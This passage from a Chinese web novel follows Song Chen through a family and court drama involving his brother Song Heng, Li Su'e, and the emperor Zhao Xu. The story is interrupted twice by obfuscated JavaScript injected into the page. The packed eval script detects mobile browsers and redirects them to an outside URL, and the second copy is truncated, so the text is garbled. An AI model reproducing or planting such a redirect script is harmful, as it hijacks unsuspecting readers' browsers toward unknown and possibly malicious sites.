宋琛要不是身手好,躲开了致命之处,定会当场去世。 宋老爷见了老泪纵横,可他惹不起李素基,安慰宋琛:“忍一忍吧,下次见了她,离她远些便是。” 宋琛的伤还未痊愈,宋老爷也步了他的后尘。宋氏兄弟的相貌本就袭自宋老爷,他保养有道,本身就不显老,又不爱留胡子,十足的美男子,结果被李素娥当成了沧桑版“宋珩”,掏出匕首猝不及防扎在了肩上,听说是打算扎脖子,多亏宋老爷警觉,加上有习武底子,才躲过一劫。 宋老爷亲自挨了一刀后,可没有了劝大儿子的淡定,直接把宋珩找来,请他看在父子一场的份上,要他出去避一避风头。 宋珩跪在地上,任凭宋老爷说破嘴皮子也不肯离开:“父亲,素娥她精神恍惚,儿子与她夫妻一场,怎能此时离她而去?若是父亲执意如此,儿子带素娥出去单过便是。” “挨刀的又不是你,你说得倒轻松,况且那些马铃薯全都种在宋家花园里,二媳妇儿会和你出去单过?”宋老爷越说越觉得肩膀发疼,见宋珩一脸倔强的模样,更是气不打一处来,操起身边软枕,砸向宋珩,宋珩没有避开,摇晃两下,竟然倒地不起。 他不由大惊,他砸的是个软枕,又不是个碗! 宋琛皱眉将昏迷的宋珩扶起,思索片刻,扯开他的衣服,满身的可怖伤口顿时映入眼帘,有几处差点就足以致命了,暗道果然:他和父亲只因生得像阿珩,都挨了李素娥的刀子,整天跟她一起的正主又怎可能逃过一劫,不过默默承受罢了。 宋老爷也顾不得自己有伤在身,颤抖着摸上宋珩的伤口,大恨道:“这两个欺软怕硬的女人,明明是两人合谋,不找李素基的麻烦,却独独报复阿珩,无非欺我儿无权无势。我当李素基英雄豪杰,没想到徒有虚名,原来是个敢做不敢当的没种之人,把锅都扣到阿珩身上。可怜阿珩素来仁厚心软,如何招架得住她们两个当世最剽悍的女人。” “看来父亲是信了弟妹的疯言疯语?”宋琛不动声色道。 “二媳妇越疯的时候恰恰是她最真的话。”宋老爷激动的神色慢慢平静下来,盯着宋珩看了良久,伸手抚平他眉头皱褶,低声叹道:“新仇旧恨,阿珩做得出来的,当年真不该将他送到林家。”语气里满是掩饰不住的后悔。 为了避免死于李素娥的疯狂之下,宋老爷拖着病体,进宫求了一道圣旨,将宋珩外放岭南新亭。 此时泰和帝已经病入膏肓,太子赵旭开始监国,这一年来发生的事,令这个冲动任性的少年产生了翻天地覆的变化,虽然依旧脾气不好,但不再像以往情绪外露。听到宋老爷的请求,赵旭神色不明,沉吟良久,提笔写下一道圣旨,扔到了宋老爷脚边:“宋大人倒是好眼力,岭南地理优越,难得的好位置,老师曾经念念不忘,还说那里物产丰富,特别是一种名为橡胶之物,用途广泛,望宋少卿好好把握机会,莫要辜负这得来不易的机会。” 李素娥得知宋珩离开后,似乎清醒少许,未再发狂袭击宋家父子。只是她在马铃薯上没有之前的好运气了,迟迟不见进展,她也变得越发歇斯底里,甚至怀疑是徐有凰在里面动了手脚。 并非李素娥无缘无故起疑心。 通过拼命压榨自己,李素娥曾经收获了一个变异土豆。整体呈黄色,只有少许地方透着青色,已经与她前世所食用的土豆相近。李素娥将其切下半个煮熟后喂狗。那只狗食用后,仅仅拉了肚子,并无性命之忧,依旧活蹦乱跳。 李素娥如获至宝,把剩下的一半土豆,切块种在自己屋前苗圃里,像照顾孩子一般,每天看三次,迟迟不见它们发芽,急得整宿儿睡不着。终于等到它们发芽后,又开始担心受怕,每天都蹲在其中捉虫浇水,比她养胎时还要用心。 徐有凰见李素娥形同疯魔,趁着她打盹的功夫,流着泪一把火烧掉了她培育的新苗:“一旦无毒马铃薯面世,你就要随姜侯爷而去是不是!” 李素娥望着眼前的熊熊燃烧的大火,反身抽了徐有凰个耳光,看向她的眼神里,充满不可置信的失望,随着新苗一点点被大火吞噬,眼中的失望又渐渐变成了绝望。她决绝地转过头,平静的神色里蕴藏着疯癫,一刻不停地往火里冲,徐有凰飞身将其扑倒在地,两个人顿时扭打起来,直到旁人将她二人拉开。 李素娥依旧怒不可遏,旁人一时没拦住,由她冲到了徐有凰面前,本以为徐有凰又要挨她个耳光,只是她扬起的巴掌定在了半空,眼眶不知何时溢满泪水,怔怔地看着徐有凰的裙子。 众人随着她的目光,定睛一看,顿时尖叫起来,原来徐有凰的裙子有鲜血不停渗出,汇成数条血线,顺着光滑的布料缓缓地往地面流。 …… 徐有凰两年来已经流产了六次,身体每况愈下,近段时间更是恶露不止,今日与李素娥大打出手,出现了崩漏的之症。 霍良诊断后认为,她已经是惯性流产,今后也难保住孩子。 本来李素娥就能诊断出,但是她有意袒护徐有凰,嘴里没实话。在徐有凰接二连三的流产之后,把责任推到了宋琛头上,说他当年头部受伤,松果体有损,影响到了遗传物质,导致胎儿发育不良。 开始宋家还被她唬得一愣一愣的,真以为问题出在宋琛的身上。孟青平将宋沛送回宋家时,顺道揭穿了这个谎言,说出了徐有凰身体受过辐射一事,生得孩子大概率残缺不全。 孟青平是姜氏骨干,宋老爷和王氏不信他所言,认为他故意挑拨。但事实胜于雄辩,徐有凰后来又数次怀孕,她都会偷偷打掉,却谎称胎儿自行流产。如今又有了霍良的诊断,他们不得不信了,逼着宋琛纳妾,传宗接代。 李素娥总是自嘲,她和宋珩是双方退而求其次的选择。这句话用到宋琛跟徐有凰更合适,他们本来心中各有所属,比起李素娥和宋珩或多或少的情意,他们结为夫妻的背后,其实双方目的皆不纯,宋琛需要个理由退婚,徐有凰则是爱情无望,顺便保住李素娥的名声。 可宋琛与徐有凰相处的两年中,渐渐被她的蕙质兰心所打动,常常不自觉地想起她,见了她便心生欢喜。对于父母的提议,想到她难过的样子,心微微发痛,径直拒绝了父母的要求:“有沛哥儿为我们养老送终足以。” “沛哥是林家的孩子。何况素娥她伤了身子,阿珩说不定也仅有这个孩子继承衣钵。”王氏想也不想地反对道。 同样是您的儿媳儿,为何偏心至此,非要伤你大儿媳的心。 宋琛心里明白,别看李素娥闹得宋家灰头土脸,但王氏依旧非常喜欢她,有时候甚至和表妹林思苑齐平。至于他的娘子则拍马也不及她们两个在王氏心中的位置。 宋琛本不是对父母言听计从之人,哪怕他们以死要挟,他都决不妥协。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730448|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从他们出卖宋珩后,宋琛就更看穿了父母的自私,岂会为了个没影的孙子而死。 宋老爷和王氏眼见宋琛这里说不通,又去游说徐有凰,却被闻讯而来的李素娥喷了个狗血淋头。 泰和帝已成了先帝,如今赵旭刚继位不满一年,姜氏旧部蠢蠢欲动,正是依仗李家的时候,前不久李素基荣升锦衣卫指挥使,宋老爷和王氏碰见李素娥就气短,纳妾之事只好作罢。 哪知徐有凰本次生病,疏忽之下,宋沛发起了高烧,抢救回来之后,却落下了口吃的毛病。 宋氏夫妇无法容忍宋家的继承人是个结巴,明里暗里地挤兑徐有凰,意图让她主动为宋琛纳妾。 李素娥得知后,说知道如何矫正口吃,还异想天开要收养宋沛。 宋老爷和王氏自然不肯,且不说事泄,引起李家的报复。就凭李素娥疯疯癫癫的样子,也不能将唯一的孙子送入虎口啊。 …… 正当他们想阻止李素娥的心血来潮时,孟青平这个阴险小人又找上门来,说出了徐家乃双面间谍之事,以此威胁宋家促成此事。 姜氏在姜侯爷死后不肯束手待毙,一直暗地里囤积粮食,招兵买马,趁着泰和帝驾崩之机,大肆滥发姜氏纸币,扰乱大周市场,将天下百姓的积财洗劫一空。 赵旭反应也十分迅速,立刻任李素基为大将军,命其带领数十万兵马,与姜氏交战了数月,付出了惨重的代价,才平息了姜氏叛乱。 姜氏毕竟是庞然大物,虽然被打得溃不成军,可剩余的残兵败将聚拢之后,依旧是股不可忽视的力量。 李素基一时不察,吃了大亏,从此对姜氏旧部恨之入骨,若不是有赵旭在其中调停,早将他们赶尽杀绝了。不难想象,他得知一直信任有加的徐家是姜氏间谍,会如何处理徐家。 宋老爷陷入了左右为难的境地。若是依着孟青平,宋珩跟李素娥今后再无回旋余地。若是不依,徐家难逃一劫,宋家估计也没有好果子吃,徐有凰和宋琛更会心生间隙,不复从前。 一切按着孟青平的预料发展,宋老爷再一次卖了宋珩,宋沛成功过继到李素娥膝下。 徐有凰得知此事后,泪流满面:“她曾劝我不要认下宋沛,说他胎里不足,天生有心疾,稍不注意就有夭折的风险,是个烫手山芋。她如今连自己都照顾不好,还敢接下宋沛。” 宋琛听后,感叹:李素娥对徐有凰可谓是煞费苦心。如果宋沛在徐有凰手里出事,宋氏夫妇自然更有理由磋磨她。可是李素娥就不一样了,哪怕宋老爷死在她手里,谁又敢多说一句。 也许李素娥此时还在帮到徐有凰而欣慰,殊不知这一开始就是针对她的一场阴谋。 “汪静说得对,宋家真是祖传的忘恩负义。”宋琛望着全然不知情的妻子,脑海中却浮现了李素娥时而疯狂时而忧郁的脸,如同宋珩要被处斩的时候。再次痛恨起自己的弱小无力。 ……(第三章) 宋珩得知宋家的“苦衷”之后,知道事情已经不可挽回,却也不容许任何人再利用李素娥,亲自写下休书,怕李素娥不愿回李家,信中表明了宋沛的身世,试图让李素娥脱离阴谋旋涡。 这封有着休书的信,几经周折,最后落到了李素基的手上,给宋珩回信,道:李素娥现在不宜再受刺激,待他北征后汉,大胜归来之日,会亲自从宋家接走她。 李素基说得自信满满,仿佛后汉已是他的手下败将,可他到辽东不久,坏消息接踵而至,先是听闻他中了后汉的埋伏,又听说辽东军哗变,最后传出他与后汉勾结,欲自立为王。 李氏通敌叛国的消息传得沸沸扬扬,赵旭坐不住欲亲征,跟大臣拉锯之际,李素基从辽东狼狈赶回,行至承天门时,大概是无颜面见赵旭,留下一句辽东有变,圣上万不可冒险,便挥刀自刎。 李素基死后,他的父母受不住打击,当天也跟着去了,媳妇带着家中财富消失得无影无踪,只余年仅十岁的幼子李越青。 …… 宋琛看着宋珩匆匆从岭南赶回,顾不上歇息,忙前忙后,料理李家后事,又看向一身缟素的李素娥。她似乎也为宋珩不离不弃而动容,看着宋珩的神色也不如以往冰冷,似有融化之意。宋琛心底叹气:“但愿他二人经此劫难,能够好好在一起。” 只是他的感叹还不到一顿饭的功夫,在宋家上饭之际,李素娥从袖中摸出一封和离书递给宋珩,“宋珩,这些天多谢你的帮忙。李氏犯下大错,虽然圣上暂未追究,可终究是悬在头上的利剑,说不定哪天就落了下来。我不能牵连你们宋家,宋珩我们和离吧。” 宋珩神色不变,似乎早有预料一般,缓缓地接过和离书,从头到尾读了一遍,接着撕得粉碎,语气波澜不惊道:“素娥,我们发过誓此生此世生死不离,所以我不会与娘子和离的。我跟娘子已经分开快两年了,心中实在挂碍得紧,这次娘子当跟我一起赴任岭南。” “宋珩你是欺负李家男人都死光了?”李素娥腾地站起。 宋琛注意到李素娥原本要将筷子摔在桌面上,大概心有顾忌,又生生地收了回来,在场之人都看得出她变得小心翼翼起来,面上皆有心酸一闪而过。 “二媳妇瞧你这话说得,亲家刚出事,你跟阿珩就和离,宋家如何看待我们宋家。”宋琛知道王氏其实想挽留李素娥,可说出的话却像为了宋家的名誉才不同意他们二人和离,不由暗自摇头,对李素娥正色道:“弟妹无须担心牵连宋家,圣上与李都督感情深厚,定然明白李都督的忠心。前天圣上查抄李家,不过是朝中大臣对李都督多有弹劾,圣上为了证明李都督的清白,才不得不出此下策。听说汪静在尊府没有发现任何不利于李家之物,想来圣上无意扩大事态。” 宋琛这话纯属瞎编,找理由安慰李素娥罢了,但他确定赵旭无意再追究李氏。姜氏挽救了岌岌可危的大周皇室,却遭泰和帝过河拆桥,落得惨淡结局。李氏也是为了皇室对付姜氏,背下累累骂名,陷入不义局面,如果赵旭再来一手过河拆桥的把戏,今后整个大周恐怕再无人愿为皇室流一滴血,出半分力。 李素娥显然也明白这个道理,刚想开口,宋珩悠悠出声:“娘子所言差矣,越青年纪虽小,可也有十岁了,过个几年就足以支撑门户了。” …… 在宋珩以李越青为要挟之下,李素娥他终究没有再提和离之事,两人关在房里,商讨多日,达成了协议:宋珩独自回岭南,李素娥和侄子李越青留在宋家。 临行前,宋珩托宋琛好好关照李素娥。宋琛瞥向他脸上的三道抓痕,听说他们这几日动静闹得很大,宋珩似乎受了不小的罪,却没讨到半点便宜,心底不由替宋珩升起一股同情之意。 “大哥还有一件事,劳你替我留意一番。当年为了阻止孟青平的阴谋,我给素娥写过一封休书,里面还有沛哥儿的身世。后来听爹说落到了舅兄手里,可那封休书不见了。素娥虽说至今不知情,可一旦休书落到她手里,她性格骄傲,又遭到接二连三的打击,我担心她会想不开。”宋珩忧心忡忡道。 “那封休书不出意外应当在圣上手里。”宋琛不信宋珩猜不出,探究的目光扫向他。 宋珩迎着他的目光,静静地微笑:“听闻大哥近来颇得圣上青眼,还请大哥将小弟的担忧传达给圣上。” 宋琛微微一怔,原来自己的弟弟打得是这个主意。可一想到赵旭,脸色不由地沉重起来,姜侯爷和先帝先后去世后,赵旭似乎一夜之间长大,心思也变得捉摸不定起来,不过唯一可以确定的是,他依旧对弟妹余情未了。 还记得宋珩跟弟妹成亲后,赵旭十分消沉,连续喝了三月的闷酒,整天烂醉如泥,听闻李素娥怀孕后,更是大受刺激,过得十分放浪形骸,流连各种温柔乡,仿佛比赛般也要造个孩子出来。直到姜侯爷传来噩耗,赵旭才猛然清醒振作,结束了放纵堕落的日子。 宋琛望着远处巍峨的皇宫,脑海中想起了赵旭日益威严成熟的身影,如果他真的对弟妹情根深种,定然不会冲动地拿出休书来伤害弟妹。 可若真的如此,宋珩已经失了弟妹的心,对手却是这样一个情深似海的英明帝王,纵然他天纵其才,又有多少胜算。 …… 光阴如流水,十一个月转瞬即逝,时间很快到了景化三年的冬天。 当宋氏兄弟放心地以为,赵旭万不会对李素娥下手时,赵旭却以其毒害先帝为由,以迅雷不及掩耳之势将李素娥拿进诏狱,交给了自己最信任的东厂都督刘吉监审,作为锦衣卫和西厂的重要骨干,宋琛、汪静完全被隔离在外,连探视都无法做到。 同月赵旭在朝野内外,全面拉开了对辽东的清算。 34. 第三十四章 番外:宋琛(七) 宋琛刚回到宋家,远远瞧见宋珩神色殷勤地送一群朝臣外出,立刻明白了是怎么回事。 李素娥已经关在诏狱四五个月,除了知道她还活着外,其他近况一概不知。虽然得知她暂时性命无忧,可宋珩的神色一日比一日心神不宁,如今正积极联合朝中大臣向赵旭施压,为李素娥洗刷冤屈。 而赵旭也似乎乐见其成,不仅放任宋珩的行为,甚至还命霍良暗地里提供了许多关键证据。但此案涉及先帝的死因,影响极大,哪怕证据齐全,李素娥的嫌疑一时半会不能完全洗脱,始终关在诏狱不得出。 待宋珩独自折返回来后,见他神色疲惫,宋琛开口安慰他:“今日圣上托人转告我,他对弟妹并无恶意,如今她一切安好,待辽东事了,定会还她清白。” 宋珩沉吟不语,似是想到了什么,面色更加凝重起来。 “你不信圣上之言?”宋琛见状问道。 大概环境最能改变一个人,赵旭未到弱冠,面容甚至还残留着青涩稚嫩,可他很快就学会了帝王的冷酷凉薄,甚至比先帝还要铁石心肠。姜侯爷和他亲如父子,收拾起姜氏,未见他有过犹豫。同样,李素基与他好似兄弟,又深爱着李素娥,对李氏依旧毫不手软。 这种不沉溺于私情,一切让步于江山的人,是天生做皇帝的料子,可他们又现实得可怕,亲情、友情、爱情都无法撼动他们那冷硬的心肠,只要妨碍了江山,都会被他们毫不留情地舍弃。 宋珩担心赵旭出尔反尔也不无道理。 宋琛正暗自分析着,却见宋珩摇摇头:“虽然不想承认,但我知道他是绝不会伤害利用素娥,只是他从未真正地了解过素娥。这个世上,姜侯爷、舅哥以及我是素娥最重要的三个人,可姜侯爷和舅哥离世,我又令她伤心失望,连翻打击之下,她早已了无生志,如今不过靠着对无毒马铃薯的执念而活罢了,这股执念就如夜晚的烛火,一阵微风便能吹灭。” 说到这里,宋珩脸色一变,喃喃自语道:“宋家有大嫂、越青、胭脂,勉强还能拴住她的理智,现在她孤身一人,指不定会钻入牛角尖,生出些不好念头。我不能再等下去了,必须见圣上一面,把她带回来。” 宋琛刚想说,诏狱里根本不会给人自尽的机会,可想到李素娥的本事,话又咽了回去,思索片刻道:“圣上一直对我们避而不见,今天肯定见不到他。我们去求见刘吉,他乃东厂督主,深得赵旭的信任,让他带你去见圣上。” “刘吉对圣上惟命是从,何况大哥跟他有旧怨,必然不肯帮忙。”宋珩立即否定了宋琛的打算,似是明白此时不能自乱阵脚,神色很快冷静下来,稍作思考,坚定道:“大哥,我要去见汪静。” 宋琛皱眉:“圣上清楚弟妹曾经救过汪静一命,认为汪静会念在救命之恩的份上,会对她手下留情,所以汪静跟我一样见不到圣上。” 宋珩讥诮地扯了扯嘴角:“圣上近来很倚重汪静,递个话还是不难的。” “阿珩,你究竟要做什么?”宋琛心生不详,急忙追问道。 “毛遂自荐给圣上当狗,问他收不收。”宋珩自嘲一笑:“上门的狗,他总要亲自瞧一瞧。” 宋琛提醒道:“阿珩,你要想好。当年大周的豪门巨室知你和林家关系,又精通新学,才推举你为领头人,令天下清流对你言听计从。他们现在实力虽不如从前,可瘦死的骆驼比马大,依旧有着不小的能量,你现在出尔反尔,倒向圣上,他们会放过你吗?” 本来土地是下金蛋的金鸡,豪门巨室靠着收租躺着挣钱,作威作福,享受高人一等的快感。可是新学实在厉害,兴起不过近二十年,创造的财富胜过开国二百年来的累积,而它的速度还在不断提升。若非现在无法解决粮食问题,养活不了众多的产业工人,先帝和赵旭肯定不会坐在炸药桶上,苦苦压制着新学。 眼看金鸡马上就要变成别人的粮仓,豪门巨室自然明白留给他们的时间不多了,本着打不过就加入的原则,一直试图用强权从新学里白嫖一杯羹,可是皇室和姜氏自己都不够分,怎容许让他们横插一脚。 好在先帝跟姜氏起了龌龊,先帝为了拉拢豪门巨室共同对抗姜氏,放开了新学的口子,因此豪门巨室得到了喘息的机会,积极开展自救之路。先是自力更生,妄图师夷长技以制夷,仿照姜氏办作坊,差点亏掉底裤后,终于意识到新学不仅仅是办几个作坊而已,他们最需要的是买得起产物的百姓。 虽然意识到问题所在,可不是谁都有刀刃向内的勇气,即便狠下心割肉,一个不小心就会翻车,便宜了别人。因此他们又效仿先帝,如同投资姜氏那般,投资有决心有潜力的李氏,搭一个顺风车。 为了避免李氏像姜氏那样,翅膀硬了就要踢开投资人,豪门巨室推举了有世族背景,又精通新学的宋珩,代表他们与李氏“以合作之名,行监督之实”。 当年为了给宋珩撑腰,豪门巨室出钱出力出人脉,现在宋珩吃了姜、李两家的绝户,捞够本钱就要临阵倒戈,豪门巨室怎么会咽得下这口气! “大哥我没有选择。”宋珩满不在乎道:“何况你我都知道新学已经势不可挡,清流嘴巴反对得厉害,不外乎自己还没有上车罢了。” 宋琛不由莞尔,如今姜、李两家基本已经臣服赵旭,变相来说大部分产业落入赵旭手中,豪门巨室可谓是满盘皆输,现在大概已经悔不当初,明白了靠人终究不如靠己的真谛,早知道还不如自己放手一搏。 只是宋珩数次跳反,名声彻底臭了,终究无法再名正言顺,今后前路还不知如何艰难。 …… 宋珩到底还是晚了一步。 起初赵旭听了宋珩的担忧,还有些不以为意,随意地打发了宋珩,深夜便抱着奄奄一息的李素娥敲响了宋家的大门。 摇晃的火光下,赵旭脸色惨白得可怕,深深地看着怀中女子,满目尽是懊悔与难过,看到她气若游丝的模样,仿佛下定了决心一般,小心翼翼地将她交到了宋珩手中:“刘吉对她用了刑,是我疏忽了,她一直念着你,所以将她送回来。” 宋珩接过李素娥,打横抱在怀中,垂头贴上她的额头,似是感受她身上的冰凉之意,紧了紧手臂,抱着她匆匆往后院走去,对着身侧的张锦道:“立刻把胭脂和越青带到素娥房中来。” 从赵旭身边路过时,宋珩第一次暴露出了对赵旭的真实态度,冰冷且厌恶地瞥向他,留下一句:“姜侯爷到底如何死的,圣上莫要以为喝了三个月的闷酒,就可以撇得一干二净。圣上,你和素娥并非一路人,以后不要再来纠缠她了。” …… 李素娥此次病情来得极其蹊跷,全身都在渗血,整个人仿佛变成了血人。宋琛起先怀疑是刘吉所致。可霍良和周芍皆言,刘吉确实打了她几鞭子,可那顶多造成皮外伤,而且李素娥也并无中毒迹象。 徐有凰没日没夜照顾她,自己也病倒了,不过始终放心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“老大,你难道到还听不明白吗?”宋老爷见宋琛以看白痴的眼光望着他,跺脚恨声道:“姜侯爷的教导之恩,天子的君臣之恩就不提了,可宋、林两家的生养之恩,他都不要了。这个世上没有什么东西能束缚这个逆子了。一个无法无天,没脸没皮之人,还有何事是他不敢做的!” “父亲言之有理,可是谁让阿珩变成这个样子的。”宋琛扶起宋珩,平静问道:“父亲生而不养,姨父养而不教,老师灭了他的宗族,天子要抢他的妻子,难道还要让阿珩感恩戴德吗?” …… 看到宋老爷愤愤离去的身影消失在院外,宋琛才转过头来看向身侧的宋珩问道:“弟妹身体可好些了?” “霍良说素娥已无大碍,过些日子便可恢复如常。”宋珩一边说,一边看向屋内,脸上露出些轻松模样。 “那便好。”宋琛点点头,也跟着宋珩的目光,向窗口望了一眼,迟疑道:“听说弟妹的入微之术已经消失了。” “素娥是个人,又不是工具,那种异术早就该消失了。”宋珩毫不在意地承认了,顿了顿又道:“她和姜侯爷已经倾囊相授,奠定了新学框架,大周聪明人多不胜数,总有人能继承他们衣钵,继续将新学发扬光大。” 宋琛十分认同:“祸福相依,这对弟妹来讲,未必不是件好事。” “大哥,我要求你一件事。”宋珩叹了口气:“我将带着素娥还有越青、胭脂一同前往岭南。你知道他们跟表妹无法相容,所以我会将表妹送回京城,还请大哥平日里多关照她。” 林思苑得了姜侯爷遗泽,李素娥又曾经告诫过李氏旧部不得为难于她,除了徐有凰之外,天下间谁会真正为难她? 宋琛思及此处微微笑道:“放心吧,我会劝你嫂子收敛些。” 宋琛把宋珩的打算告诉给徐有凰不久,却见王氏径直推门而入,冲到徐有凰身边,不由分说地甩了她一个耳光,神情怨恨道:“你们徐家好歹毒的心,宋珩快不行了。” 35. 第三十五章 番外:宋琛(八) 宋琛连忙护住徐有凰,拦下失去理智的王氏:“母亲,究竟发生何事了?” 王氏怒不可遏地指着徐有凰道:“你的丫鬟蓉儿,跑到素娥病榻前,故意泄露了阿珩和思苑生子的消息。” 宋琛脸色变得极为难看,猜出蓉儿所作所为,出自徐有凤的授意。 李家出事后,孙月骄害怕李越青也难逃干系,带上家里大量财物试图贿赂,已经成为辽东同知的老情人徐有凤,希望以此保住李越青和李素娥。徐有凤的妻子以为二人旧情复燃,与孙月骄争执中,失手害死了她。徐有凤为保护妻子,掩埋了所有痕迹,又故弄玄虚,让人误以为孙月骄卷款逃跑,私奔于徐家为妾。 大概忌惮李素娥在李氏旧部的影响力,徐有凤担忧她知道真相后,会替孙月骄翻案,意图先下手为强,致她于死地,但宋家戒备森严,又无从下手。 徐有凤与李家关系密切,知道李素娥一直有求死之心,故意将宋珩与林思苑生子之事泄露给她,试图以此成为压死李素娥的最后一根稻草。 可是他此次似乎打错了算盘。 “她性子骄傲又急躁,怎么受得了这种打击,怒火攻心之下,把阿珩打成了重伤。”王氏见到徐有凰不可置信的眼神,如何不明白她也蒙在鼓里,何况根源终究是宋珩和林思苑生子伤透了李素娥的心。只是人心都是偏的,她无法责怪宋、林、李三人,只能迁怒于作怪的徐家。 可看着徐有凰灰白的脸色,思及她和李素娥平日的情分,迁怒之言再也骂不出口,王氏满腔怒气化作无力的絮叨:“你们不知道阿珩流了多少血,清洗伤口的血水,一盆盆地往外倒……” 宋琛担心徐有凰得知此事后痛苦为难,一直不忍心告诉她,眼见无法再隐瞒,将孙月骄死在徐家之事和盘托出。 “原来是这样,难怪圣上一直不愿让夫君见素娥,想来担心你会为了大哥伤害她。”徐有凰听完大笑起来,泪水却止不住地顺着脸颊而下。 宋琛沉默不言,他都知晓了这出惨剧,又岂能瞒得过赵旭?可他正需要徐有凤维持辽东的稳定,对此事一直装聋作哑罢了。 一个死去的女子,哪有江山大业来得重要,他的人情味儿大概只有李素娥才能享受得了。 …… 见到宋珩时,他头上缠满白布,眼睛处更渗着斑斑血迹,宋琛心中微跳:“二弟的眼睛?” “眼睛倒是其次,最多失明,要不了命。”霍良刚好为宋珩诊治结束,见到他们夫妻,神色凝重:“最令人担忧的是,他太阳穴处骨板碎了,脑中血块淤积,随时都有生命危险。若是挺过五年,淤血化去,便能平安无事了。” 说到这里,他低头望着奄奄一息的宋珩,若有所思道:“看来李素娥真是失去了入微之术,以前她打宋珩向来有分寸,此次可见她已经拿不准力道了。” 宋琛:“……” 宋珩昏迷了一天一夜后,挣扎着醒了过来,还未来得及消化霍良的诊断,徐有凰忽然跪了下去,恳求道:“二弟,我求你自己回岭南,不要让素娥见到你现在的样子,五年后再回来吧。她一直对姜侯爷和李大哥的死耿耿于怀,把他们的死怪在自己身上。如果她知道将你伤成这般模样,她无论如何也撑不下去了。” 她的言下之意,万一你有个三长两短,死到外面去,不要让李素娥知道是她害死了你。 “二弟,你大嫂她胡言乱语的,你不要放在心上。”宋琛见不得徐有凰低声下气,也心疼宋珩刚刚死里逃生却听到这种诛心的要求。他一边头疼地安抚宋珩,一边俯身强硬地将徐有凰拉起。 宋珩脑袋包成了粽子,仅右眼露外面,无法看出他的情绪,声音倒是相当平静:“嫂子处处为素娥着想,我一直十分感激。可素娥大嫂之事,想必嫂子已经知道了,打算如何跟素娥交代呢?” 徐有凰明白宋珩的意思,徐有凤和李素娥之间已经势如水火了,你到底帮哪边?而蓉儿如此明目张胆的自作主张,徐有凤何尝不是逼着她做出抉择? 以前李素娥夹在李大哥和姜侯爷之间左右为难,虽然明白那种滋味儿不好受,可到底觉得她有些优柔寡断,找不准位置。 今天轮到了自己身上,方知个中滋味。 “大嫂失手害死李夫人,自然该付出代价。大哥为了掩盖此事,意图伤害素娥,更是错上加错。可大哥势大,有心包庇大嫂,我也做不到亲自大义灭亲,一切只能等素娥自己去发现。如果她知道了真相,做任何决定,我都不会干涉。”她语气艰难地说完,顿了顿眼神变得坚定起来:“二弟,我以性命担保,只要我在世一天,会竭尽全力照顾素娥,绝对不会让她再受到徐家的任何伤害。” 宋珩见她神情郑重,仅剩的右眼闪过一丝狭促:“你们对彼此的情意,比对我们兄弟强多了,不知道的,还以为你们才是夫妻呢。” 宋琛闻言脸色浮出几缕怪异之色,或许宋珩所言并非空穴来风。 李素娥处理完李家后事,或许难以直面分沓而至的痛苦,她全身心投入无毒马铃薯的研究,毫无节制地使用入微之术,变得愈发疯癫,已经到了完全认不出人的地步。 徐有凰怕她出事,和胭脂轮流片刻不离地守在她身边。她们吃住皆在一起,李素娥又身怀入微之术,最早发现了徐有凰的身孕,判断出是个正常孩子,顾及徐有凰的孩子得来不易,担忧自己疯疯癫癫会冲撞她,强制自己从痛苦中清醒过来。 宋琛至今记得:李素娥侧脸贴在徐有凰的肚子上,神色是难得一见的温柔恬静。 正当他恍神之间,徐有凰却似笑非笑地看了看兄弟二人:“二弟休要含沙射影,胡乱猜疑。我跟素娥并非迂腐偏见之人,若真的有那种心思,定然光明正大,绝不找挡箭牌。” 宋琛&宋珩:“……” …… 宋珩落寞离开的那年,正是景化四年的夏末,府中的杏子结得正好,酸甜可口,府中之人皆赞不绝口。 烈日炎炎,倚翠街口的茶饮摊,宋琛带了数十个手下锦衣卫坐在里面喝凉饮,突然想起了什么,从袖中摸出包分量不轻的油纸包裹,拆开后,里面尽是黄里透红的新鲜大杏。这是徐有凰今早出门送他之际,随手塞给他的,说是今年的头茬熟杏,托他转送给汪静,他媳妇儿眼馋很久了。 想到徐有凰那狭促模样,宋琛终于明白她真的所言不假,她们确实对分桃断袖毫无偏见,甚至有些喜闻乐见。这不,他再正经不过的男人了,竟然被李素娥编排进话本,跟汪静那个死对头来了一出相爱相杀的戏码。 别说,抛开那些肉麻的情情爱爱,人物立体饱满,情节跌宕起伏,读来还甚有趣味,每每想读到章末,总有股挠心挠肺之感…… “大人,您太周到了,体谅兄弟们辛苦,特地请我们吃杏。”宋琛前段日子终于时来运转,护驾有功,一跃成为了锦衣卫指挥使,深得赵旭的倚重和信任。他的心腹,曾经的方小旗也跟着鸡犬升天,成为了锦衣卫千户,因和宋琛多年情分,见他拿出一包大杏,毫不客气地伸手抓了一把,分给身边的锦衣卫。 宋琛也并未阻止,本来就打算分给他们尝鲜,拜李素娥的话本所赐,现在人人见到他跟汪静都是一副看好戏的戏谑模样,京城姑娘更是见了他们指指点点,面带诡异笑容。如果今天真的送给汪静,不知会传出何种风言风语来,这凉饮略显甜腻,与甜中带酸的杏子正好相佐。 宋琛等人凉饮配大杏,好不快活,一道熟悉的人影出现在倚翠街巷口,他们立刻起身抹嘴,毕恭毕敬地迎了上去。 本来那人面带恼怒之色,见到了宋琛脸色反而平静下来,哼哼两声道:“你们刚刚吃什么呢,那般津津有味?” 方千户觉得此杏个头大,滋味好,市面上难得一遇的极品,看到还有几颗未来得及吃,就顺手塞入了怀里,打算带回家,讨自家媳妇儿开心。 天子感兴趣发问了,他自然不能再藏着掖着了,立刻狗腿十足地把杏子捧到赵旭面前,还不忘替宋琛美言两句:“圣上,最近热气毒辣,宋夫人特意准备给宋大人解渴。大人慷慨,特分与我们一道享受。” 